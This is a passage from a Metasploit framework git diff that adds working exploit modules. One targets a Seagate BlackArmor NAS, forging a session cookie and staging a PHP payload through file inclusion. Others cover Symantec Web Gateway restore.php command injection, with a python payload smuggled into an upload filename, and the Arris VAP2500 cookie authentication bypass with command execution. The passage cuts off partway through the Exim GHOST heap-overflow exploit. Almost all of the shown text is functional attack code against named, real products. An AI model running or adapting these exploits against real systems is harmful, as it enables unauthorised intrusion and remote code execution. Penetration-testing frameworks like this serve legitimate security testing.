the NAS admin account', 'admin']), + OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']), + OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07']) + ]) + end + + # + # Write a string value to a serialized PHP object without deserializing it first. + # If the value exists it will be updated. + # + def set_string(php_object, name, value) + prefix = "s:#{name.length}:\"#{name}\";s:" + if php_object.include?(prefix) + # the value already exists in the php blob, so update it. + return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"") + end + + # the value doesn't exist in the php blob, so create it. + count = php_object.split(':')[1].to_i + 1 + php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}") + end + + # + # Findez ze holez! + # + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri), + 'method' => 'GET', + 'headers' => { + 'Accept' => 'text/html' + } + ) + + if res && res.code == 200 + headers = res.to_s + + # validate headers + if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') + # and make sure that the body contains the title we'd expect + if res.body.include?('Login to BlackArmor') + return Exploit::CheckCode::Appears + end + end + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable + # something went wrong, assume safe. + end + + Exploit::CheckCode::Safe + end + + # + # Executez ze sploitz! + # + def exploit + + # Step 1 - Establish a session with the target which will give us a PHP object we can + # work with. + begin + print_status("#{peer} - Establishing session with target ...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri), + 'method' => 'GET', + 'headers' => { + 'Accept' => 'text/html' + } + }) + + if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/ + cookie_value = $1.strip + else + fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.") + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable + fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.") + end + + # Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly + # then update it so that it's an admin session before re-encrypting + print_status("#{peer} - Upgrading session to administrator ...") + php_object = decode_cookie(cookie_value) + vprint_status("#{peer} - PHP Object: #{php_object}") + + admin_php_object = set_string(php_object, 'is_admin', 'yes') + admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT']) + vprint_status("#{peer} - Admin PHP object: #{admin_php_object}") + + admin_cookie_value = encode_cookie(admin_php_object) + + # Step 3 - Extract the current host configuration so that we don't lose it. + host_config = nil + + # This time value needs to be consistent across calls + config_time = ::Time.now.to_i + + begin + print_status("#{peer} - Extracting existing host configuration ...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'), + 'method' => 'GET', + 'headers' => { + 'Accept' => 'text/html' + }, + 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", + 'vars_get' => { + '_' => config_time + } + ) + + if res && res.code == 200 + res.body.split("\r\n").each do |l| + if l.include?('general_setup') + host_config = l + break + end + end + else + fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.") + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable + fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.") + end + + print_good("#{peer} - Host configuration extracted.") + vprint_status("#{peer} - Host configuration: #{host_config}") + + # Step 4 - replace the host device description with a custom payload that can + # be used for LFI. We have to keep the payload small because of size limitations + # and we can't put anything in with '$' in it. So we need to make a simple install + # payload which will write a required payload to disk that can be executes directly + # as the last part of the payload. This will also be self-deleting. + param_id = rand_text_alphanumeric(3) + + # There are no files on the target file system that start with an underscore + # so to allow for a small file size that doesn't collide with an existing file + # we'll just prefix it with an underscore. + payload_file = "_#{rand_text_alphanumeric(3)}.php" + + installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));" + stager = Rex::Text.encode_base64(installer) + stager = xml_encode("") + vprint_status("#{peer} - Stager: #{stager}") + + # Butcher the XML directly rather than attempting to use REXML. The target XML + # parser is way to simple/flaky to deal with the proper stuff that REXML + # spits out. + desc_start = host_config.index('" description="') + 15 + desc_end = host_config.index('"', desc_start) + xml_payload = host_config[0, desc_start] + + stager + host_config[desc_end, host_config.length] + vprint_status(xml_payload) + + # Step 5 - set the host description to the stager so that it is written to disk + print_status("#{peer} - Uploading stager ...") + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'), + 'method' => 'POST', + 'headers' => { + 'Accept' => 'text/html' + }, + 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", + 'vars_get' => { + '_' => config_time + }, + 'vars_post' => { + 'general_setup' => xml_payload + } + ) + + unless res && res.code == 200 + fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).") + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable + fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).") + end + + print_good("#{peer} - Stager uploaded.") + + # Step 6 - Invoke the stage, passing in a self-deleting php script body. + print_status("#{peer} - Executing stager ...") + payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00") + payload_cookie_value = encode_cookie(payload_php_object) + self_deleting_payload = "" + errored = false + + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri), + 'method' => 'POST', + 'headers' => { + 'Accept' => 'text/html' + }, + 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}", + 'vars_post' => { + param_id => Rex::Text.encode_base64(self_deleting_payload) + } + ) + + if res && res.code == 200 + print_good("#{peer} - Stager execution succeeded, payload ready for execution.") + else + print_error("#{peer} - Stager execution failed (invalid result).") + errored = true + end + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable + print_error("#{peer} - Stager execution failed (unable to establish connection).") + errored = true + end + + # Step 7 - try to restore the previous configuration, allowing exceptions + # to bubble up given that we're at the end. This step is important because + # we don't want to leave a trail of junk on disk at the end. + print_status("#{peer} - Restoring host config ...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'), + 'method' => 'POST', + 'headers' => { + 'Accept' => 'text/html' + }, + 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}", + 'vars_get' => { + '_' => config_time + }, + 'vars_post' => { + 'general_setup' => host_config + } + ) + + # Step 8 - invoke the installed payload, but only if all went to plan. + unless errored + print_status("#{peer} - Executing payload at #{normalize_uri(target_uri, payload_file)} ...") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri, payload_file), + 'method' => 'GET', + 'headers' => { + 'Accept' => 'text/html' + }, + 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}" + ) + end + end + + # + # Take a CodeIgnitor cookie and pull out the PHP object using the XOR + # key that we've been given. + # + def decode_cookie(cookie_content) + cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content)) + pass = xor(cookie_value, datastore['XORKEY']) + result = '' + + (0...pass.length).step(2).each do |i| + result << (pass[i].ord ^ pass[i + 1].ord).chr + end + + result + end + + # + # Take a serialised PHP object cookie value and encode it so that + # CodeIgniter thinks it's legit. + # + def encode_cookie(cookie_value) + rand = Rex::Text.sha1(rand_text_alphanumeric(40)) + + block = '' + + (0...cookie_value.length).each do |i| + block << rand[i % rand.length] + block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr + end + + cookie_value = xor(block, datastore['XORKEY']) + cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value)) + vprint_status("#{peer} - Cookie value: #{cookie_value}") + + cookie_value + end + + # + # XOR a value against a key. The key is cycled. + # + def xor(string, key) + result = '' + + string.bytes.zip(key.bytes.cycle).each do |s, k| + result << (s ^ k) + end + + result + end + + # + # Simple XML substitution because the target XML handler isn't really + # full blown or smart. + # + def xml_encode(str) + str.gsub(//, '>') + end + +end diff --git a/modules/exploits/linux/http/symantec_web_gateway_restore.rb b/modules/exploits/linux/http/symantec_web_gateway_restore.rb new file mode 100644 index 0000000000..46fe21a41f --- /dev/null +++ b/modules/exploits/linux/http/symantec_web_gateway_restore.rb @@ -0,0 +1,243 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Symantec Web Gateway 5 restore.php Post Authentication Command Injection", + 'Description' => %q{ + This module exploits a command injection vulnerability found in Symantec Web + Gateway's setting restoration feature. The filename portion can be used to inject + system commands into a syscall function, and gain control under the context of + HTTP service. + + For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user. + However, for version 5.2.1, you must be an administrator. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Egidio Romano', # Original discovery & assist of MSF module + 'sinn3r' + ], + 'References' => + [ + [ 'CVE', '2014-7285' ], + [ 'OSVDB', '116009' ], + [ 'BID', '71620' ], + [ 'URL', 'http://karmainsecurity.com/KIS-2014-19' ], + [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141216_00'] + ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python' + } + }, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, + 'SSLVersion' => 'TLS1' + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['Symantec Web Gateway 5', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Dec 16 2014", # Symantec security bulletin (Vendor notified on 8/10/2014) + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI to Symantec Web Gateway', '/']), + OptString.new('USERNAME', [true, 'The username to login as']), + OptString.new('PASSWORD', [true, 'The password for the username']) + ], self.class) + end + + def protocol + ssl ? 'https' : 'http' + end + + def check + uri = target_uri.path + res = send_request_cgi({'uri' => normalize_uri(uri, 'spywall/login.php')}) + + if res && res.body.include?('Symantec Web Gateway') + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def get_sid + sid = '' + + uri = target_uri.path + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'spywall/login.php'), + 'method' => 'GET', + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while retrieving PHPSESSID') + end + + cookies = res.get_cookies + sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' + + sid + end + + def login(sid) + uri = target_uri.path + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'spywall/login.php'), + 'method' => 'POST', + 'cookie' => sid, + 'headers' => { + 'Referer' => "#{protocol}://#{peer}/#{normalize_uri(uri, 'spywall/login.php')}" + }, + 'vars_post' => { + 'USERNAME' => datastore['USERNAME'], + 'PASSWORD' => datastore['PASSWORD'], + 'loginBtn' => 'Login' + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to login') + end + + cookies = res.get_cookies + sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' + + if res.headers['Location'] =~ /executive_summary\.php$/ && !sid.blank? + # Successful login + return sid + else + # Failed login + fail_with(Failure::NoAccess, "Bad username or password: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + end + end + + def build_payload + # At of today (Feb 27 2015), there are only three payloads this module will support: + # * cmd/unix/generic + # * cmd/unix/reverse_python + # * cmd/unix/reverse_python_ssl + p = payload.encoded + + case datastore['PAYLOAD'] + when /cmd\/unix\/generic/ + # Filter that one out, Mr. basename() + p = Rex::Text.encode_base64("import os ; os.system('#{Rex::Text.encode_base64(p)}'.decode('base64'))") + p = "python -c \"exec('#{p}'.decode('base64'))\"" + else + p = p.gsub(/python -c "exec/, 'python -c \\"exec') + p = p.gsub(/decode\('base64'\)\)"/, "decode('base64'))\\\"") + end + + p + end + + def build_mime + p = build_payload + + data = Rex::MIME::Message.new + data.add_part("#{Time.now.to_i}", nil, nil, 'form-data; name="posttime"') + data.add_part('maintenance', nil, nil, 'form-data; name="configuration"') + data.add_part('', 'application/octet-stream', nil, 'form-data; name="licenseFile"; filename=""') + data.add_part('24', nil, nil, 'form-data; name="raCloseInterval"') + data.add_part('', nil, nil, 'form-data; name="restore"') + data.add_part("#{Rex::Text.rand_text_alpha(4)}\n", 'text/plain', nil, "form-data; name=\"restore_file\"; filename=\"#{Rex::Text.rand_text_alpha(4)}.txt; #{p}\"") + data.add_part('Restore', nil, nil, 'form-data; name="restoreFile"') + data.add_part('0', nil, nil, 'form-data; name="event_horizon"') + data.add_part('0', nil, nil, 'form-data; name="max_events"') + data.add_part(Time.now.strftime("%m/%d/%Y"), nil, nil, 'form-data; name="cleanlogbefore"') + data.add_part('', nil, nil, 'form-data; name="testaddress"') + data.add_part('', nil, nil, 'form-data; name="pingaddress"') + data.add_part('and', nil, nil, 'form-data; name="capture_filter_op"') + data.add_part('', nil, nil, 'form-data; name="capture_filter"') + + data + end + + def inject_exec(sid) + uri = target_uri.path + mime = build_mime # Payload inside + send_request_cgi({ + 'uri' => normalize_uri(uri, 'spywall/restore.php'), + 'method' => 'POST', + 'cookie' => sid, + 'data' => mime.to_s, + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'headers' => { + 'Referer' => "#{protocol}://#{peer}#{normalize_uri(uri, 'spywall/mtceConfig.php')}" + } + }) + end + + def save_cred(username, password) + service_data = { + address: rhost, + port: rport, + service_name: protocol, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + username: username, + private_data: password, + private_type: :password + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end + + def exploit + print_status("Getting the PHPSESSID...") + sid = get_sid + if sid.blank? + print_error("Failed to get the session ID. Cannot continue with the login.") + return + end + + print_status("Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + sid = login(sid) + if sid.blank? + print_error("Failed to get the session ID from the login process. Cannot continue with the injection.") + return + else + # Good password, keep it + save_cred(datastore['USERNAME'], datastore['PASSWORD']) + end + + print_status("Trying restore.php...") + inject_exec(sid) + end + +end diff --git a/modules/exploits/linux/http/vap2500_tools_command_exec.rb b/modules/exploits/linux/http/vap2500_tools_command_exec.rb new file mode 100644 index 0000000000..e64f6b7146 --- /dev/null +++ b/modules/exploits/linux/http/vap2500_tools_command_exec.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Arris VAP2500 tools_command.php Command Execution', + 'Description' => %q{ + Arris VAP2500 access points are vulnerable to OS command injection in the web management + portal via the tools_command.php page. Though authentication is required to access this + page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid + username. + }, + 'Author' => + [ + 'HeadlessZeke' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-8423'], + ['CVE', '2014-8424'], + ['OSVDB', '115045'], + ['OSVDB', '115046'], + ['BID', '71297'], + ['BID', '71299'], + ['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/'] + ], + 'DisclosureDate' => 'Nov 25 2014', + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 1024, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet' + } + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Automatic', { }]], + 'DefaultTarget' => 0 + )) + end + + def check + begin + res = send_request_raw({ + 'method' => 'GET', + 'uri' => '/tools_command.php', + 'cookie' => "p=#{Rex::Text.md5('super')}" + }) + if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ + return Exploit::CheckCode::Vulnerable + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe + end + + def exploit + print_status("#{peer} - Trying to access the device ...") + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device") + end + + print_status("#{peer} - Exploiting...") + + if datastore['PAYLOAD'] == 'cmd/unix/generic' + exploit_cmd + else + exploit_session + end + end + + def exploit_cmd + beg_boundary = rand_text_alpha(8) + end_boundary = rand_text_alpha(8) + + begin + res = send_request_cgi({ + 'uri' => normalize_uri('/', 'tools_command.php'), + 'vars_post' => { + 'cmb_header' => '', + 'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}" + }, + 'method' => 'POST', + 'cookie' => "p=#{Rex::Text.md5('super')}" + }) + + if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ + print_good("#{peer} - Command sent successfully") + if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m + print_status("#{peer} - Command output: #{$1}") + end + else + fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed") + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end + + def exploit_session + begin + send_request_cgi({ + 'uri' => normalize_uri('/', 'tools_command.php'), + 'vars_post' => { + 'cmb_header' => '', + 'txt_command' => "#{payload.encoded}" + }, + 'method' => 'POST', + 'cookie' => "p=#{Rex::Text.md5('super')}" + }, 3) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/local/desktop_privilege_escalation.rb b/modules/exploits/linux/local/desktop_privilege_escalation.rb index b1e25fb160..356a82aa50 100644 --- a/modules/exploits/linux/local/desktop_privilege_escalation.rb +++ b/modules/exploits/linux/local/desktop_privilege_escalation.rb @@ -20,11 +20,11 @@ class Metasploit4 < Msf::Exploit::Local 'Description' => %q{ This module steals the user password of an administrative user on a desktop Linux system when it is entered for unlocking the screen or for doing administrative actions using - policykit. Then it escalates to root privileges using sudo and the stolen user password. + PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password. It exploits the design weakness that there is no trusted channel for transferring the password from the keyboard to the actual password verificatition against the shadow file (which is running as root since /etc/shadow is only readable to the root user). Both - screensavers (xscreensaver/gnome-screensaver) and policykit use a component running under + screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under the current user account to query for the password and then pass it to a setuid-root binary to do the password verification. Therefore, it is possible to inject a password stealer after compromising the user account. Since sudo requires only the user password (and not diff --git a/modules/exploits/linux/samba/chain_reply.rb b/modules/exploits/linux/samba/chain_reply.rb index 71e465507d..ae73ad1779 100644 --- a/modules/exploits/linux/samba/chain_reply.rb +++ b/modules/exploits/linux/samba/chain_reply.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index 1570d36da6..ed72293621 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb index 9bfc40dfab..b5bbdc6329 100644 --- a/modules/exploits/linux/samba/setinfopolicy_heap.rb +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::RopDb include Msf::Exploit::Brute diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb index 38588f92b4..63f0fdc1a8 100644 --- a/modules/exploits/linux/samba/trans2open.rb +++ b/modules/exploits/linux/samba/trans2open.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb new file mode 100644 index 0000000000..e55815a049 --- /dev/null +++ b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb @@ -0,0 +1,723 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow', + 'Description' => %q{ + This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based + buffer overflow in the GNU C Library's gethostbyname functions on x86 + and x86_64 GNU/Linux systems that run the Exim mail server. + }, + 'Author' => ['Qualys, Inc. '], + 'License' => BSD_LICENSE, + 'References' => [ + ['CVE', '2015-0235'], + ['US-CERT-VU', '967332'], + ['OSVDB', '117579'], + ['BID', '72325'], + ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'], + ['URL', 'https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability'], + ['URL', 'http://r-7.co/1CAnMc0'] # MSF Wiki doc (this module's manual) + ], + 'DisclosureDate' => 'Jan 27 2015', + 'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim) + 'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload + 'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^ + 'Payload' => { + 'Space' => 255, # the shorter the payload, the higher the probability of code execution + 'BadChars' => "", # we encode the payload ourselves, because ^ + 'DisableNops' => true, + 'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell + }, + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(25), + OptAddress.new('SENDER_HOST_ADDRESS', [true, + 'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil]) + ], self.class) + + register_advanced_options([ + OptBool.new('FORCE_EXPLOIT', [false, 'Let the exploit run anyway without the check first', nil]) + ], self.class) + end + + def check + # for now, no information about the vulnerable state of the target + check_code = Exploit::CheckCode::Unknown + + begin + # not exploiting, just checking + smtp_connect(false) + + # malloc()ate gethostbyname's buffer, and + # make sure its next_chunk isn't the top chunk + + 9.times do + smtp_send("HELO ", "", "0", "", "", 1024+16-1+0) + smtp_recv(HELO_CODES) + end + + # overflow (4 bytes) gethostbyname's buffer, and + # overwrite its next_chunk's size field with 0x00303030 + + smtp_send("HELO ", "", "0", "", "", 1024+16-1+4) + # from now on, an exception means vulnerable + check_code = Exploit::CheckCode::Vulnerable + # raise an exception if no valid SMTP reply + reply = smtp_recv(ANY_CODE) + # can't determine vulnerable state if smtp_verify_helo() isn't called + return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/ + + # realloc()ate gethostbyname's buffer, and + # crash (old glibc) or abort (new glibc) + # on the overwritten size field + + smtp_send("HELO ", "", "0", "", "", 2048-16-1+4) + # raise an exception if no valid SMTP reply + reply = smtp_recv(ANY_CODE) + # can't determine vulnerable state if smtp_verify_helo() isn't called + return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/ + # a vulnerable target should've crashed by now + check_code = Exploit::CheckCode::Safe + + rescue + peer = "#{rhost}:#{rport}" + vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}") + + ensure + smtp_disconnect + end + + return check_code + end + + def exploit + unless datastore['FORCE_EXPLOIT'] + print_status("Checking if target is vulnerable...") + fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable + print_good("Target is vulnerable.") + end + information_leak + code_execution + end + + private + + HELO_CODES = '250|451|550' + ANY_CODE = '[0-9]{3}' + + MIN_HEAP_SHIFT = 80 + MIN_HEAP_SIZE = 128 * 1024 + MAX_HEAP_SIZE = 1024 * 1024 + + # Exim + ALIGNMENT = 8 + STORE_BLOCK_SIZE = 8192 + STOREPOOL_MIN_SIZE = 256 + + LOG_BUFFER_SIZE = 8192 + BIG_BUFFER_SIZE = 16384 + + SMTP_CMD_BUFFER_SIZE = 16384 + IN_BUFFER_SIZE = 8192 + + # GNU C Library + PREV_INUSE = 0x1 + NS_MAXDNAME = 1025 + + # Linux + MMAP_MIN_ADDR = 65536 + + def fail_with(fail_subject, message) + message = "#{message}. For more info: http://r-7.co/1CAnMc0" + super(fail_subject, message) + end + + def information_leak + print_status("Trying information leak...") + leaked_arch = nil + leaked_addr = [] + + # try different heap_shift values, in case Exim's heap address contains + # bad chars (NUL, CR, LF) and was mangled during the information leak; + # we'll keep the longest one (the least likely to have been truncated) + + 16.times do + done = catch(:another_heap_shift) do + heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15) + print_debug("#{{ heap_shift: heap_shift }}") + + # write the malloc_chunk header at increasing offsets (8-byte step), + # until we overwrite the "503 sender not yet given" error message + + 128.step(256, 8) do |write_offset| + error = try_information_leak(heap_shift, write_offset) + print_debug("#{{ write_offset: write_offset, error: error }}") + throw(:another_heap_shift) if not error + next if error == "503 sender not yet given" + + # try a few more offsets (allows us to double-check things, + # and distinguish between 32-bit and 64-bit machines) + + error = [error] + 1.upto(5) do |i| + error[i] = try_information_leak(heap_shift, write_offset + i*8) + throw(:another_heap_shift) if not error[i] + end + print_debug("#{{ error: error }}") + + _leaked_arch = leaked_arch + if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize + (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd + (error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size + (error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing() + leaked_arch = ARCH_X86_64 + + elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize + (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd + (error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size + (error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing() + leaked_arch = ARCH_X86 + + else + throw(:another_heap_shift) + end + print_debug("#{{ leaked_arch: leaked_arch }}") + fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch + + # try different large-bins: most of them should be empty, + # so keep the most frequent fd_nextsize address + # (a pointer to the malloc_chunk itself) + + count = Hash.new(0) + 0.upto(9) do |last_digit| + error = try_information_leak(heap_shift, write_offset, last_digit) + next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes + next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK + count[error] += 1 + end + print_debug("#{{ count: count }}") + throw(:another_heap_shift) if count.empty? + + # convert count to a nested array of [key, value] arrays and sort it + error_count = count.sort { |a, b| b[1] <=> a[1] } + error_count = error_count.first # most frequent + error = error_count[0] + count = error_count[1] + throw(:another_heap_shift) unless count >= 6 # majority + leaked_addr.push({ error: error, shift: heap_shift }) + + # common-case shortcut + if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or + (leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?) + leaked_addr = [leaked_addr.last] # use this one, and not another + throw(:another_heap_shift, true) # done + end + throw(:another_heap_shift) + end + throw(:another_heap_shift) + end + break if done + end + + fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil? + fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty? + + leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length } + leaked_addr = leaked_addr.first # longest + error = leaked_addr[:error] + shift = leaked_addr[:shift] + + leaked_addr = 0 + (leaked_arch == ARCH_X86 ? 4 : 8).times do |i| + break if i >= error.length + leaked_addr += error.unpack('C*')[i] * (2**(i*8)) + end + # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer: + leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE + fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR + + print_good("Successfully leaked_arch: #{leaked_arch}") + print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}") + @leaked = { arch: leaked_arch, addr: leaked_addr } + end + + def try_information_leak(heap_shift, write_offset, last_digit = 9) + fail_with("infoleak", "heap_shift") if (heap_shift < 